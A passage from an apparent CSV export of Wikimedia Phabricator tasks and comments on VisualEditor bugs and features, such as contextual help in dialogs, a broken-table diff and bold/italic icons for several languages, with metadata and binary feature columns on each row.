+* Contextual help absolutely is needed. The lack of this is one of the major weaknesses of wikitext editing. I don't think user feedback is needed to confirm this need. But if there is any doubt, then I suggest posting this the question (""Should VE menu items have contextual help?) at one or both Feedback pages. 
+* The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.
+* Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.",,,1423633543,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,84,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+404175,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 186108 merged by jenkins-bot:
+MWMediaDialog: Add contextual help for controls
+
+[[https://gerrit.wikimedia.org/r/186108]]",,,1422488523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,82,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+401894,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 186108 had a related patch set uploaded (by Jforrester):
+MWMediaDialog: Add contextual help for controls
+
+[[https://gerrit.wikimedia.org/r/186108]]
+
+#patch-for-review",,,1421798146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,81,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+244443,"There should be help links in every context - dialog boxes, inspectors, etc.",Did we get any feedback?,,,1416183267,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,72,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+244437,"There should be help links in every context - dialog boxes, inspectors, etc.","The page settings (""meta"") dialog now has a complete set of contextual help. Will wait for further user feedback before doing the rest of the dialogs.",,,1410831140,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,63,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0
+244431,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 160371 merged by jenkins-bot:
+Add contextual help to all remaining meta dialog controls
+
+https://gerrit.wikimedia.org/r/160371",,,1410831074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,63,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+244424,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 160371 had a related patch set uploaded by Jforrester:
+Add contextual help to all remaining meta dialog controls
+
+https://gerrit.wikimedia.org/r/160371",,,1410744289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,63,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+244416,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159104 merged by jenkins-bot:
+Provide contextual help for the page settings dialog's controls
+
+https://gerrit.wikimedia.org/r/159104",,,1410208908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244408,"There should be help links in every context - dialog boxes, inspectors, etc.",First one done. We'll seek feedback on this approach and then roll out for the rest of the dialogs.,,,1410208838,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,62,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+244403,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159104 had a related patch set uploaded by Alex Monk:
+Provide contextual help for the page settings dialog's controls
+
+https://gerrit.wikimedia.org/r/159104",,,1410200618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244396,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159095 merged by jenkins-bot:
+Make help button for FieldLayout frameless again
+
+https://gerrit.wikimedia.org/r/159095",,,1410199152,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244388,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159095 had a related patch set uploaded by Alex Monk:
+Make help button for FieldLayout frameless again
+
+https://gerrit.wikimedia.org/r/159095",,,1410199015,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244383,"There should be help links in every context - dialog boxes, inspectors, etc.",It looks like some work was done in Gerrit change 147751 and then reverted,,,1407980699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,58,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244377,"There should be help links in every context - dialog boxes, inspectors, etc.","So for adding these to the page settings controls, it should now just be a case of adding the new messages and using them as the config.help for each setting's FieldLayout. James, are you planning to do this?",,,1405636684,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,54,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+244372,"There should be help links in every context - dialog boxes, inspectors, etc.",So I suppose now the job is to start writing copy…,,,1405452080,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+244367,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 142468 merged by jenkins-bot:
+Allow FieldLayouts to have help text
+
+https://gerrit.wikimedia.org/r/142468",,,1405449958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244360,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 142468 had a related patch set uploaded by Alex Monk:
+Allow FieldLayouts to have help text
+
+https://gerrit.wikimedia.org/r/142468",,,1403828245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244355,"There should be help links in every context - dialog boxes, inspectors, etc.","As a start, maybe add the (?) icon next to each of the page settings controls so we can give some blurb for users? I'm happy to write the copy on the commits. :-)",,,1402608232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,49,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+244348,"There should be help links in every context - dialog boxes, inspectors, etc.","**turingt** wrote:
+
+Maybe, the way to make the target page configurable can be creating a fixed redirect page for each link, so that we can change the redirect target.",,,1378729186,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+244341,"There should be help links in every context - dialog boxes, inspectors, etc.","At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=572181319#Inserting_reference there are comments that the instruction manual is too difficult to find, and requests that contextual help be added to the various dialogs. 
+
+These help links should obviously open in a new window/tab, and the target needs to be configurable on wiki as help pages are not static and get split/merged/reorganised over time.",,,1378729025,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+53774,VisualEditor: TemplateData-provided parameters in list should show description in tooltip,"The description of a parameter in the list of parameters does not always fit in the width of the editing add-parameter box, particularly in firefox (where the font size is apparently larger in than chrome) and when users are using large fonts for accessibility reasons. Where this is the case (or always) the description should be shown in a tooltip on hover or when selected by up/down keyboard prior to insertion.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50354
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51436
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62142",Low,25.0,1374419280,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rggykpwnizk34bvpsjp6,task_description,open,True,c1,3,False,False,,2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0
+53772,"Broken table, repeated section in diff after VisualEditor edit","I recently ran across [https://en.wikipedia.org/w/index.php?title=Polycarbonate&diff=prev&oldid=564618311 this edit].  It seems as though they were trying to fix a spelling correction and inadvertently destroyed a table and had an entire section get repeated.
+
+There was a little [https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_Diff discussion about the diff on the Visual Editor feedback page], where it was mentioned that the diff ""is very strange and [the commenter didn't] recall seeing anything similar"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1374416280,1412977739.0,PHID-USER-2qzpsivaeuezrxqtzhwn,False,,False,PHID-TASK-ing4zbhpdsfypnokceeg,task_description,resolved,True,c1,3,False,False,False,2,,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+242907,"Broken table, repeated section in diff after VisualEditor edit","This was fixed a very long time ago (around August last year), but I didn't spot this report until just now; my apologies.",,,1412977739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ing4zbhpdsfypnokceeg,task_subcomment,,True,c1,3,True,,,66,,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+242904,"Broken table, repeated section in diff after VisualEditor edit","The problem is that the table wikitext is buggy there.  It is missing a closing tag (in reality, it is missing a newline break.  |-|} .. See https://en.wikipedia.org/w/index.php?title=Polycarbonate&action=edit&oldid=563700122)
+
+The PHP parser output for this is also broken (see https://en.wikipedia.org/w/index.php?title=Polycarbonate&oldid=563700122#Manufacturers_and_brands and where the table has ended up).
+
+We could improve Parsoid to detect some scenarios like this, but it is currently lower priority.  Fixing the table by adding a line break between ""|-"" and ""|}"" should fix the issue for now.
+
+Sample wikitext snippet for our use later:
+
+{|
+|foo
+|-|}
+abc",,,1374506456,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ing4zbhpdsfypnokceeg,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+53764,"VisualEditor: Have a ""remove from page"" button in media settings dialog","An English Wikipedia user familiar with the transclusion dialog expected thatthe way to remove an  image from the article was using a remove option in the media dialog. Such an option does not exist, and they couldn't work out another way of removing the image other than selecting and deleting the characters around and including the slug.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374362700,1437787301.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-apnlro5ql64fbmr7qoty,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+496827,"VisualEditor: Have a ""remove from page"" button in media settings dialog",It's (now?) very simple to delete an image by clicking on it and pressing delete. Pushback welcome.,,,1437787301,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-apnlro5ql64fbmr7qoty,task_subcomment,,True,c1,3,True,,,107,,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+53747,sees unreviewed pages despite their ns isn't reviewable,"After https://pl.wikipedia.org/w/index.php?title=Pomoc:VisualEditor/Skr%C3%B3ty_klawiszowe&oldid=37098556&diff=cur this edit it sees unreviewed pages and distinguishes between stable and unreviewed versions despite a) on this page, both versions are autoreviewed b) even if points [[Wikipedia:VisualEditor/Nawigacja]] (transcluded) out as pending rewiev - the project namespace is not reviewable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1374328320,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,False,PHID-TASK-npzavnntwnz6xylar7kw,task_description,open,True,c1,3,False,False,,2,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+53713,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266340,1374633775.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239582,VisualEditor: Set correct text annotation buttons for ka (მ/კ),Done and will be deployed tomorrow.,,,1374633775,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239574,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"Change 74979 merged by jenkins-bot:
+Add bold/italic for cyrillic/georgian languages
+
+https://gerrit.wikimedia.org/r/74979",,,1374632702,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239568,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"Change 74979 had a related patch set uploaded by Esanders:
+Add bold/italic for cyrillic/georgian languages
+
+https://gerrit.wikimedia.org/r/74979",,,1374428015,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53712,VisualEditor: Set correct text annotation buttons for os (Б/???),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266340,1374633751.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jfjnga5p64vzxczhpota,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239522,VisualEditor: Set correct text annotation buttons for os (Б/???),Done and will be deployed tomorrow.,,,1374633751,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239520,VisualEditor: Set correct text annotation buttons for os (Б/???),"Change 74979 merged by jenkins-bot:
+Add bold/italic for cyrillic/georgian languages
+
+https://gerrit.wikimedia.org/r/74979",,,1374632700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239517,VisualEditor: Set correct text annotation buttons for os (Б/???),"Change 74979 had a related patch set uploaded by Esanders:
+Add bold/italic for cyrillic/georgian languages
+
+https://gerrit.wikimedia.org/r/74979",,,1374428013,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53711,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266340,1374633741.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239479,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),Done and will be deployed tomorrow.,,,1374633741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239475,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"Change 74979 merged by jenkins-bot:
+Add bold/italic for cyrillic/georgian languages
+
+https://gerrit.wikimedia.org/r/74979",,,1374632698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239471,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"Change 74979 had a related patch set uploaded by Esanders:
+Add bold/italic for cyrillic/georgian languages
+
